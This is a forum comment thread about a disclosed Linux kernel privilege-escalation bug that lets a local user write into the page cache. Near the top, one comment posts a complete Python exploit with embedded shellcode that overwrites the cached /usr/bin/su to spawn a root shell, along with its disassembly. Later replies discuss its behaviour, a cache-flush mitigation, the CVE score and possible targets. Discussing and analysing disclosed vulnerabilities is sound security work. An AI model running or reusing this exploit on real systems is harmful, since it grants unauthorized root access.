You must log in or register to comment.
Worth mentioning that the fix was merged into 6.19.12 (and 7.0; probably also the LTSs, but I didn’t bother to check those).
Script:
#!/usr/bin/env python3 import os, socket f = os.open("/usr/bin/su", 0) e = b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x9e\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x001\xc01\xff\xb0i\x0f\x05H\x8d=\x0f\x00\x00\x001\xf6j;X\x99\x0f\x051\xffj<X\x0f\x05/bin/sh\x00\x00\x00' for i in range(0, len(e), 4): s = socket.socket(38, 5, 0) s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) s.setsockopt(279, 1, bytes.fromhex('0800010000000010' + '0' * 64)) s.setsockopt(279, 5, None, 4) u, _ = s.accept() u.sendmsg([b"AAAA" + e[i:i + 4]], [(279, 3, b'\x00\x00\x00\x00'), (279, 2, b'\x10' + b'\x00' * 19), (279, 4, b'\x08\x00\x00\x00'), ], 32768) r, w = os.pipe() os.splice(f, w, i + 4, offset_src=0) os.splice(r, u.fileno(), i + 4) try: u.recv(8 + i) except: pass os.system("su")Blob:
0x00400078 eax = 0 0x0040007a edi = 0 0x0040007c al = 0x69 ; 'i' ; 105 0x0040007e syscall ; sys_setuid(0) 0x00400080 rdi = rip + 0xf ; data.00400096 ; 0x400096 ; "/bin/sh" 0x00400087 esi = 0 0x00400089 push 0x3b ; ';' ; 59 0x0040008b pop rax 0x0040008c cdq 0x0040008d syscall ; sys_execve("/bin/sh", NULL, NULL) 0x0040008f edi = 0 0x00400091 push 0x3c ; '<' ; 60 0x00400093 pop rax 0x00400094 syscall ; sys_exit(0)The blob is obviously a stub-
suthat/usr/bin/supage cache is poisoned with.It’s a bit strange that this code requires a binary blob to verify, I think people who want to experiment with this should take some caution as it could be an exploit-in-an-exploit (user is highlighting a real exploit, but also trying to take advantage of people testing by effectively installing a back-door.) I won’t say that’s happening for sure, but take running this yourself with extreme caution.
BLOB already includes “binary”. That’s what the first B is for.
Sorry, couldn’t stop myself.
Apparently that’s only for blob storage (now "object storage), not https://en.wikipedia.org/wiki/Binary_blob
No one means BLOB when they say blob, it’s a backronym mostly for fun
The compressed binary blob is just a 160 B ELF when uncompressed. I don’t think you can do much with that.
I bet you could gain root on many old kernels
You could probably write all zeros to a file. Say, /dev/sda?
???
profit
The Python script to check if you are vulnerable is extremely suspicious and hard to decipher.
deleted by creator
I agree. This seems fishy to me. I am concerned about compressed code in a public disclosure like this. Also it seems like all the documentation was written by AI.
The entire page is an advertisement for an AI tool that helped uncover it. Guess that’s the demonstration on how it augments a report.
Very quick cursory review: The python script appears to decompress what might be an ELF from those compressed bytes. Then it opens a cryptography socket (
AF_ALG) with the kernel and sends that whole thing.So the exploit is in the binary data and would likely take some skilled Linux engineers to decompile it and figure out the exploit.
I’m not entirely sure why they would obfuscate it. Maybe they think it helps with responsible disclosure so people can’t make something more useful than the PoC?
I can at least tell you what it does because I tested it:
It override your /usr/bin/su so that it now let you run as root with no password.
My guess is that the payload is an su command that was modified to run without requiring password but it’s also possible - though unlikely - that it just patch your existing su.
either way if you will run the script, you need to backup your existing su command first.
Correction: The script doesn’t permanently modify the su file instead it modifies a cached copy of the file in memory. restarting your device or doing
echo 3 > /proc/sys/vm/drop_cachesto flush the cache restore the su file to its original stateI’m not sure how much of it is obfuscation and how much of it is golfing. Ze golfed it so ze could make the pretty valid “just 732 bytes python script” claim.
The compression could very well be just a way to write a binary in Python plaintext. ChatGPT claims it just attempts to sudo, run /bin/sh if that succeeds, and exit if that fails.
Here it is after improving readability a little
wtf
An unprivileged local user can write 4 controlled bytes into the page cache of any readable file on a Linux system, and use that to gain root.
If your kernel was built between 2017 and the patch — which covers essentially every mainstream Linux distribution — you’re in scope.
how does that only get a CVE score of 7.8, the impact of this is huge
It’s not an interaction-less RCE, for one.
Probably because the attack vector is having a user account on the target
Exactly. It’s Yet Another Privilege Escalation Vulnerability. Unless you’re dealing with a multiuser machine, the attacker first needs to use some other vuln to get into an unprivileged account. Without that additional vulnerability, this exploit is useless.
some other vuln
You mean like inveigling it into a pypi or npm or whatever package? Checks out.
That’s privilege escalation for you. 7.8 is pretty high.
Yet another? Are there really so many LPEVs in linux?
I manage multi user systems and try to be on top of this and no, privilege escalation with a working public exploit are very rare. There’s quite a lot of CVEs with potential privilege excalation, but most of the time there is no real world exploit. And a large part of those are related to user namespaces in one way or another.
This one is truly scary, at least the immediate mitigation is pretty straightforward.
Well, it often feels like every “Linux security issue” flagged in the tech press is a privilege escalation, but I admit that I haven’t sat down and done the math.
“The exploit is coming from inside the house!”
hey these exploits keep the lights on for some tech youtubers, stop making fun of it!! it is very dangerous!!!
(video titled: LINUX HAS BEEN HACKED, AGAIN?!)
Hm, I could use that on a few Android devices…
SElinux blocks this for aosp and its forks.
there is no su binary in most android devices sadly
Does it have to actually be su? Couldn’t this replace any other existing privileged program with the fake su in theory?
In order to use this exploit you need a program that has UID bit set and the file owned by the user you want to use itheir privilages.
For example su (among other commands) has that UID bit set and because the owner of the file is root then when you execute it, it always runs with root privileges
Most Android devices use SELinux (Security Enhanced Linux) which is configured in such way that you couldn’t have root access even if you could run a program owned by root and has the UID bit set.
What you could do - in theory - is finding a process already running with root privileges and happened to be executing certain command periodically. you could then override that certain program in cache using this exploit to do what you want.
